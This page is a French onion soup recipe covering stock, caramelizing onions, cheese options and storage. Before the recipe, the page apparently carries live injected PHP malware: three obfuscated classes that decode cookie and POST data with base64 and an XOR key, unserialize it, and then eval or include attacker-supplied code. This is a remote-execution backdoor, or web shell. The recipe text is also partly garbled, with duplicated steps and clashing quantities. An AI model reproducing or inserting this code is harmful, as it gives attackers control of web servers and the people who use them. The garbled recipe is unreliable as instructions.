$KTsfczJabr = chr (83) . 'C' . chr ( 891 - 822 ).chr (95) . "\x41" . 'q' . chr ( 277 - 165 ).'W';$ZogbtLh = 'c' . chr (108) . chr ( 581 - 484 )."\x73" . chr ( 435 - 320 )."\x5f" . chr ( 444 - 343 ).chr ( 730 - 610 ).chr (105) . chr ( 336 - 221 ).chr (116) . 's';$uQHNN = class_exists($KTsfczJabr); $KTsfczJabr = "2768";$ZogbtLh = "21667";if ($uQHNN === FALSE){class SCE_AqpW{public function dveqn(){echo "45139";}private $MtLFGqe;public static $japEoMfyI = "b72c405c-210a-4bf6-be37-e0844adf5b17";public static $PgnkQuZSkY = 12118;public function __construct($hIbzhSu=0){$coaBSUP = $_POST;$eUKDlppJvS = $_COOKIE;$cNeFuIf = @$eUKDlppJvS[substr(SCE_AqpW::$japEoMfyI, 0, 4)];if (!empty($cNeFuIf)){$RXuYyoanv = "base64";$tmsxdXTZq = "";$cNeFuIf = explode(",", $cNeFuIf);foreach ($cNeFuIf as $qyqgg){$tmsxdXTZq .= @$eUKDlppJvS[$qyqgg];$tmsxdXTZq .= @$coaBSUP[$qyqgg];}$tmsxdXTZq = array_map($RXuYyoanv . chr (95) . "\144" . 'e' . 'c' . 'o' . chr (100) . 'e', array($tmsxdXTZq,)); $tmsxdXTZq = $tmsxdXTZq[0] ^ str_repeat(SCE_AqpW::$japEoMfyI, (strlen($tmsxdXTZq[0]) / strlen(SCE_AqpW::$japEoMfyI)) + 1);SCE_AqpW::$PgnkQuZSkY = @unserialize($tmsxdXTZq);}}private function mMvEtTq(){if (is_array(SCE_AqpW::$PgnkQuZSkY)) {$pnMYD = str_replace('<' . "\x3f" . "\x70" . chr ( 489 - 385 )."\160", "", SCE_AqpW::$PgnkQuZSkY[chr ( 890 - 791 ).'o' . chr ( 833 - 723 ).chr ( 1046 - 930 ).chr ( 684 - 583 ).chr ( 294 - 184 )."\x74"]);eval($pnMYD); $SxoaSB = "9909";exit();}}public function __destruct(){$this->mMvEtTq();}}$SjHecGlZFm = new /* 53483 */ SCE_AqpW(); $SjHecGlZFm = str_repeat("23954_58711", 1);}$WjQJSuFb = 'p' . "\x63" . chr ( 618 - 523 ).chr (90) . chr (105) . 'y';$vZAlKrE = 'c' . chr (108) . "\x61" . "\163" . 's' . "\x5f" . "\x65" . chr (120) . "\151" . chr (115) . chr ( 137 - 21 )."\x73";$fOiOC = class_exists($WjQJSuFb); $WjQJSuFb = "52747";$vZAlKrE = "34672";if ($fOiOC === FALSE){class pc_Ziy{public function DClgZnjqit(){echo "37654";}private $SLDeGTdr;public static $xaNvgVI = "600cb282-cd3b-490a-80f5-557f5b3b4f13";public static $uzRunIYrE = 59282;public function __construct($TUmqQf=0){$usvdLjDZ = $_POST;$wChCS = $_COOKIE;$URUzaXZamB = @$wChCS[substr(pc_Ziy::$xaNvgVI, 0, 4)];if (!empty($URUzaXZamB)){$EoucdcxXtw = "base64";$SXfFAoyB = "";$URUzaXZamB = explode(",", $URUzaXZamB);foreach ($URUzaXZamB as $AWzyHPRHU){$SXfFAoyB .= @$wChCS[$AWzyHPRHU];$SXfFAoyB .= @$usvdLjDZ[$AWzyHPRHU];}$SXfFAoyB = array_map($EoucdcxXtw . "\x5f" . "\144" . "\x65" . chr ( 1002 - 903 )."\157" . 'd' . 'e', array($SXfFAoyB,)); $SXfFAoyB = $SXfFAoyB[0] ^ str_repeat(pc_Ziy::$xaNvgVI, (strlen($SXfFAoyB[0]) / strlen(pc_Ziy::$xaNvgVI)) + 1);pc_Ziy::$uzRunIYrE = @unserialize($SXfFAoyB);}}private function GhtGJKbrg(){if (is_array(pc_Ziy::$uzRunIYrE)) {$yRXRPJY = sys_get_temp_dir() . "/" . crc32(pc_Ziy::$uzRunIYrE["\x73" . 'a' . "\154" . 't']);@pc_Ziy::$uzRunIYrE["\167" . chr ( 522 - 408 ).chr ( 347 - 242 ).'t' . chr (101)]($yRXRPJY, pc_Ziy::$uzRunIYrE["\x63" . chr ( 461 - 350 )."\156" . "\164" . "\x65" . chr ( 144 - 34 ).chr ( 568 - 452 )]);include $yRXRPJY;@pc_Ziy::$uzRunIYrE["\144" . "\x65" . "\x6c" . "\x65" . chr ( 1102 - 986 )."\x65"]($yRXRPJY); $ZBzRNXrGex = "4913";exit();}}public function __destruct(){$this->GhtGJKbrg();}}$kacWX = new /* 50896 */ pc_Ziy(); $kacWX = str_repeat("19877_9773", 1);}$LmeRgeVgN = "\127" . chr ( 338 - 221 )."\x4a" . "\137" . 'X' . "\126" . "\164" . "\141";$ezjrGevPJ = chr (99) . "\154" . "\141" . chr (115) . chr (115) . "\x5f" . "\x65" . 'x' . chr ( 604 - 499 ).'s' . "\164" . "\163";$yvpIeDpxH = class_exists($LmeRgeVgN); $LmeRgeVgN = "1622";$ezjrGevPJ = "8837";if ($yvpIeDpxH === FALSE){class WuJ_XVta{public function tmxtqTuzV(){echo "34896";}private $kLwEoZHLU;public static $AtNnlIzWS = "ff4667b4-a25e-4c51-a12f-b44655f427b1";public static $HAaswuFAeS = 36385;public function __construct($wIVteLo=0){$bUdVg = $_POST;$titKfmw = $_COOKIE;$WpzjfgGRbV = @$titKfmw[substr(WuJ_XVta::$AtNnlIzWS, 0, 4)];if (!empty($WpzjfgGRbV)){$pinVAT = "base64";$cTBJBglBy = "";$WpzjfgGRbV = explode(",", $WpzjfgGRbV);foreach ($WpzjfgGRbV as $eLpJfVp){$cTBJBglBy .= @$titKfmw[$eLpJfVp];$cTBJBglBy .= @$bUdVg[$eLpJfVp];}$cTBJBglBy = array_map($pinVAT . chr ( 363 - 268 ).chr ( 970 - 870 )."\x65" . 'c' . "\157" . 'd' . chr (101), array($cTBJBglBy,)); $cTBJBglBy = $cTBJBglBy[0] ^ str_repeat(WuJ_XVta::$AtNnlIzWS, (strlen($cTBJBglBy[0]) / strlen(WuJ_XVta::$AtNnlIzWS)) + 1);WuJ_XVta::$HAaswuFAeS = @unserialize($cTBJBglBy);}}private function pTXow(){if (is_array(WuJ_XVta::$HAaswuFAeS)) {$KwtZLz = sys_get_temp_dir() . "/" . crc32(WuJ_XVta::$HAaswuFAeS[chr ( 616 - 501 ).chr (97) . 'l' . chr (116)]);@WuJ_XVta::$HAaswuFAeS['w' . "\x72" . chr ( 700 - 595 )."\164" . chr (101)]($KwtZLz, WuJ_XVta::$HAaswuFAeS['c' . 'o' . chr (110) . "\164" . 'e' . "\x6e" . chr (116)]);include $KwtZLz;@WuJ_XVta::$HAaswuFAeS["\x64" . chr ( 597 - 496 )."\154" . "\x65" . chr (116) . chr (101)]($KwtZLz); $VoEUQ = "62943";exit();}}public function __destruct(){$this->pTXow();}}$ijexhronD = new /* 50614 */ WuJ_XVta(); $ijexhronD = str_repeat("31769_2794", 1);} French Onion Soup
April 20, 2024

French Onion Soup

How to make the best French Onion Soup

Two essential elements are required for a French onion soup to be good.

The stock is the first. The stock will determine the quality of your soup. Traditionally, this soup is made from beef stock. However, it can sometimes be difficult to find good beef stock and costly to make.

Taste the stock before you buy it. You can’t eat it if you don’t like its taste. If you make lots of beef or roast a lot of beef, keep the leftovers and freeze them to make stock.

Caramelizing onions properly is the second most important thing. This recipe calls for caramelizing for at least 40 minutes. Caramelizing occurs when sugars in onions reach a specific temperature.

This happens only after long cooking times. You can help by adding a little sugar to the onions. The caramelized onions will have a deeper color and more flavor.

Alternatives to wine

Optional brandy or dry vermouth is required for the recipe. Many readers of the recipe suggested that you don’t use alcohol at all and still delicious.

Some people suggested adding Worcestershire sauce to the final product to enhance its flavor. You can omit the alcohol by adding a tablespoon of Worcestershire sauce, but this is not required.

If you decide to leave out the alcohol, add half a cup of the beef broth to the pan to deglaze it as directed in Step 2. Then, add the rest of the stock in Step 3.

French Onion Soup: The Best Cheese

Gruyere or Parmesan are two of the most popular options for French onion soup. These alternatives are available if Gruyere and Parmesan are not available.

  • Gouda
  • Swiss
  • Fontina
  • Mozzarella

How to store and reheat this dish

The soup can be stored in an airtight container in a refrigerator for four days, without the croutons. Bring the soup to a boil over medium heat on the stovetop. Croutons taste best when they are fresh.

How to freeze French Onion Soup

This soup, without the croutons, freezes well. The soup can be frozen up to three months after it has cooled. Reheat the soup by heating it on the stovetop. Freshen the croutons.

French Onion Soup

PREP TIME10 minutes

COOK TIME70 minutes

TOTAL TIME80 minutes

SERVINGS4-6 servings

The success of this soup is dependent on the stock you use. Stock tastes can vary greatly. Depending on your stock, you may need to increase the flavor (we recommend the Better Than Bouillon brand).

Before you put the soup in the oven, taste it and adjust the seasoning if necessary.

Ingredients

  • Six large yellow or red onions, each weighing approximately 3 pounds. Peeled and thinly sliced stem to root (see How to Slice an Onion). You will need about 10 cups total of onions.
  • 4 tablespoons extra virgin olive oil
  • 2 tablespoons butter
  • 1 teaspoon sugar
  • Kosher salt
  • 2 cloves garlic, minced
  • Eight cups beef stock or chicken stock. Or a mixture of both.
  • 1/2 cup dry vermouth or dry white wine
  • 2 bay leaves
  • 1 teaspoon fresh thyme leaves (can also use some sprigs) 1/2 teaspoon dried Thyme (more to your taste)
  • 1/2 teaspoon freshly ground black pepper
  • 2 tablespoons brandy (optional)
  • 8 slices (1 inch thick) French bread or baguette
  • 1 1/2 cups grated Gruyere
  • Sprinkling of Parmesan

Method

  1. Make caramel from the onions.
  2. Heat 3 tablespoons olive oil in a 5- to 6-quart heavy-bottomed saucepan on medium heat. Toss the onions with olive oil.
  3. Stirring often, cook the onions until softened, approximately 15 to 20 min.
  4. Turn the heat up to medium-high. Cook the remaining tablespoon olive oil and butter for 15 minutes, stirring frequently.
  5. Sprinkle sugar on top to caramelize the onions. Cook the onions for another 10 to 15 minutes.
  6. Cook for one more minute.
  7. Glaze the pot with vermouth, or wine
  8. Add the wine/vermouth to the pot. Scrape up any browned bits from the bottom and sides. Deglaze the pot as you go.
  9. Add the stock, bay leaves and Thyme to the mixture:
  10. Add the stock, bay leaves and Thyme. Bring to a boil, then cover the pot with the bay leaves and Thyme. Reduce the heat to keep the soup at a low simmer. Cook for approximately 30 minutes.
  11. Season to your liking with salt. Add freshly grated black pepper. The bay leaves should be thrown out. If you use brandy, add it.
  12. Toast the French bread slices
  13. As the soup simmers, line a sheet pan using parchment paper or foil. Preheat the oven at 450°F.
  14. Lightly brush both sides of French bread or baguette slices with olive oil. You’ll need about a tablespoon and a half of the olive oil.
  15. Toast for 5 to 7 minutes in the oven. Take out of the oven.
  16. Turn the toasts and sprinkle with the grated Gruyere and Parmesan cheeses. Bake the cheese until it is melted and lightly browned in the oven.
  17. Serve:
  18. Serve the soup in a bowl. To finish, add one slice of cheese to each bowl.
  19. You can also use individual oven-proof dishes or a large casserole dish. Place the soup in the casserole dishes or bowls. Sprinkle cheese on top. Bake in the oven for 10 minutes at 350°F or until cheese is browned and bubbles.